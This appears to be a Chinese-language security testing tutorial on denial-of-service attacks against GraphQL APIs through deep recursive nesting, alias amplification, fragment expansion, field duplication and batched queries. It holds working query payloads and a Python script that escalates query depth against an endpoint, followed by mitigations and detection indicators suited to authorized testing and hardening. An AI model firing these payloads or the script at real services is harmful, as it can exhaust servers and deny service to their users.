performing-graphql-depth-limit-attack

# 执行 GraphQL 深度限制攻击

## 概述

GraphQL 深度限制攻击利用 GraphQL Schema 的递归特性，构造深度嵌套的查询来消耗过多的服务器资源，从而导致拒绝服务（DoS）。与具有固定端点的 REST API 不同，GraphQL 允许客户端请求任意数据结构。当 Schema 包含循环关系时（例如 User -> Posts -> Author -> Posts），攻击者可以创建无限递归的查询，使服务器的 CPU、内存、数据库连接和网络带宽超负荷。

## 前置条件

- 已启用自省（Introspection）或已知 Schema 的目标 GraphQL API 端点
- GraphQL 客户端工具（GraphiQL、Altair、Insomnia 或 curl）
- Python 3.8+ 及 requests 库，用于自动化测试
- Burp Suite 或 mitmproxy，用于流量分析
- 对目标执行安全测试的授权

## 核心攻击技术

### 1. 递归深度攻击

当 GraphQL Schema 存在双向关系时，查询可以递归引用这些关系：

```graphql
# 具有循环引用的 Schema：
# type User { posts: [Post] }
# type Post { author: User }

# 使用过度嵌套深度的攻击查询
query DepthAttack {
  users {
    posts {
      author {
        posts {
          author {
            posts {
              author {
                posts {
                  author {
                    posts {
                      author {
                        posts {
                          title
                          author {
                            name
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}
```

### 2. 基于别名的放大攻击

当批量查询被阻断时，别名可以在单个查询中将相同的字段请求倍增：

```graphql
query AliasAmplification {
  a1: user(id: 1) { posts { author { name } } }
  a2: user(id: 1) { posts { author { name } } }
  a3: user(id: 1) { posts { author { name } } }
  a4: user(id: 1) { posts { author { name } } }
  a5: user(id: 1) { posts { author { name } } }
  a6: user(id: 1) { posts { author { name } } }
  a7: user(id: 1) { posts { author { name } } }
  a8: user(id: 1) { posts { author { name } } }
  a9: user(id: 1) { posts { author { name } } }
  a10: user(id: 1) { posts { author { name } } }
}
```

### 3. Fragment 展开攻击

Fragment 可以更高效地构建复杂的深度嵌套查询：

```graphql
fragment UserFields on User {
  name
  email
  posts {
    title
    comments {
      body
      author {
        ...NestedUser
      }
    }
  }
}

fragment NestedUser on User {
  name
  posts {
    title
    author {
      name
      posts {
        title
        author {
          name
        }
      }
    }
  }
}

query FragmentAttack {
  users {
    ...UserFields
  }
}
```

### 4. 字段重复攻击

在选择集中重复同一字段多次会增加处理负担：

```graphql
query FieldDuplication {
  user(id: 1) {
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
  }
}
```

### 5. 批量查询攻击

在单个 HTTP 请求中发送多个查询：

```json
[
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"}
]
```

## 自动化测试脚本

```python
#!/usr/bin/env python3
"""GraphQL 深度限制攻击测试工具

通过发送递进式深度嵌套查询，测试 GraphQL 端点的深度限制漏洞。
"""

import requests
import time
import json
import sys
from typing import Optional

class GraphQLDepthTester:
    def __init__(self, endpoint: str, headers: Optional[dict] = None):
        self.endpoint = endpoint
        self.headers = headers or {"Content-Type": "application/json"}
        self.results = []

    def generate_nested_query(self, depth: int, field_a: str = "posts",
                               field_b: str = "author",
                               leaf_field: str = "name") -> str:
        """生成指定深度的递归嵌套 GraphQL 查询。"""
        query = "{ users { "
        for i in range(depth):
            if i % 2 == 0:
                query += f"{field_a} {{ "
            else:
                query += f"{field_b} {{ "
        query += leaf_field
        query += " }" * (depth + 1)  # 关闭所有括号
        query += " }"
        return query

    def generate_alias_query(self, count: int, inner_query: str) -> str:
        """生成包含多个别名的查询。"""
        aliases = []
        for i in range(count):
            aliases.append(f"a{i}: {inner_query}")
        return "{ " + " ".join(aliases) + " }"

    def send_query(self, query: str, timeout: int = 30) -> dict:
        """发送 GraphQL 查询并测量响应指标。"""
        payload = json.dumps({"query": query})
        start_time = time.time()
        try:
            response = requests.post(
                self.endpoint,
                data=payload,
                headers=self.headers,
                timeout=timeout
            )
            elapsed = time.time() - start_time
            return {
                "status_code": response.status_code,
                "response_time": round(elapsed, 3),
                "response_size": len(response.content),
                "has_errors": "errors" in response.json() if response.status_code == 200 else True,
                "error_message": self._extract_error(response),
                "success": response.status_code == 200 and "errors" not in response.json()
            }
        except requests.exceptions.Timeout:
            elapsed = time.time() - start_time
            return {
                "status_code": 0,
                "response_time": round(elapsed, 3),
                "response_size": 0,
                "has_errors": True,
                "error_message": "请求超时",
                "success": False
            }
        except requests.exceptions.ConnectionError:
            return {
                "status_code": 0,
                "response_time": 0,
                "response_size": 0,
                "has_errors": True,
                "error_message": "连接被拒绝——可能已发生 DoS",
                "success": False
            }

    def _extract_error(self, response) -> str:
        try:
            data = response.json()
            if "errors" in data:
                return data["errors"][0].get("message", "未知错误")
        except (json.JSONDecodeError, IndexError, KeyError):
            pass
        return ""

    def test_depth_limits(self, max_depth: int = 20):
        """递进测试递增的查询深度。"""
        print(f"测试从 1 到 {max_depth} 的深度限制...")
        print(f"{'深度':<8}{'状态码':<10}{'时间(s)':<12}{'大小(B)':<12}{'结果'}")
        print("-" * 65)

        for depth in range(1, max_depth + 1):
            query = self.generate_nested_query(depth)
            result = self.send_query(query)
            result["depth"] = depth
            self.results.append(result)

            status = "通过" if result["success"] else "已拦截"
            print(f"{depth:<8}{result['status_code']:<10}{result['response_time']:<12}"
                  f"{result['response_size']:<12}{status}")

            if result["error_message"] and "depth" in result["error_message"].lower():
                print(f"\n[+] 在深度 {depth} 处检测到深度限制")
                print(f"    错误：{result['error_message']}")
                return depth

            if result["status_code"] == 0:
                print(f"\n[!] 服务器在深度 {depth} 处变得无响应")
                return depth

        print(f"\n[!] 警告：在最大深度 {max_depth} 内未检测到深度限制")
        return None

    def test_alias_amplification(self, alias_counts: list = None):
        """测试基于别名的放大攻击。"""
        if alias_counts is None:
            alias_counts = [1, 5, 10, 25, 50, 100]

        print(f"\n测试别名放大攻击...")
        inner = 'user(id: "1") { posts { title } }'

        for count in alias_counts:
            query = self.generate_alias_query(count, inner)
            result = self.send_query(query)
            status = "通过" if result["success"] else "已拦截"
            print(f"  别名数：{count:<6} 状态码：{result['status_code']:<6} "
                  f"时间：{result['response_time']:<8}s  {status}")

    def generate_report(self) -> dict:
        """生成所有测试的摘要报告。"""
        successful = [r for r in self.results if r["success"]]
        blocked = [r for r in self.results if not r["success"]]
        max_successful_depth = max([r["depth"] for r in successful], default=0)

        return {
            "endpoint": self.endpoint,
            "total_tests": len(self.results),
            "successful_queries": len(successful),
            "blocked_queries": len(blocked),
            "max_successful_depth": max_successful_depth,
            "depth_limit_enforced": len(blocked) > 0,
            "vulnerability": "HIGH" if max_successful_depth > 10 else
                           "MEDIUM" if max_successful_depth > 5 else "LOW"
        }


if __name__ == "__main__":
    endpoint = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:4000/graphql"
    tester = GraphQLDepthTester(endpoint)
    tester.test_depth_limits(max_depth=15)
    tester.test_alias_amplification()

    report = tester.generate_report()
    print(f"\n{'='*50}")
    print(f"报告摘要")
    print(f"{'='*50}")
    for key, value in report.items():
        print(f"  {key}: {value}")
```

## 缓解策略

### 深度限制

```javascript
// 使用 graphql-depth-limit（Node.js）
const depthLimit = require('graphql-depth-limit');
const server = new ApolloServer({
  typeDefs,
  resolvers,
  validationRules: [depthLimit(5)]
});
```

### 查询复杂度分析

```javascript
// 使用 graphql-query-complexity
const { createComplexityRule } = require('graphql-query-complexity');

const complexityRule = createComplexityRule({
  maximumComplexity: 1000,
  estimators: [
    fieldExtensionsEstimator(),
    simpleEstimator({ defaultComplexity: 1 })
  ],
  onComplete: (complexity) => {
    console.log('查询复杂度：', complexity);
  }
});
```

### 速率限制和超时控制

```python
# 服务器端超时配置
GRAPHQL_CONFIG = {
    "max_depth": 5,
    "max_complexity": 1000,
    "max_aliases": 10,
    "query_timeout_seconds": 10,
    "max_batch_size": 5,
    "rate_limit_per_minute": 100
}
```

## 检测指标

- 服务器日志中异常深度或复杂的 GraphQL 查询
- 与特定查询模式相关的响应时间峰值
- GraphQL 服务器进程的内存或 CPU 使用率高
- 查询复杂度递增的重复请求
- 单个查询请求的响应负载过大

## 参考资料

- OWASP GraphQL Cheat Sheet
- Apollo GraphQL Security Guide
- PortSwigger GraphQL Vulnerabilities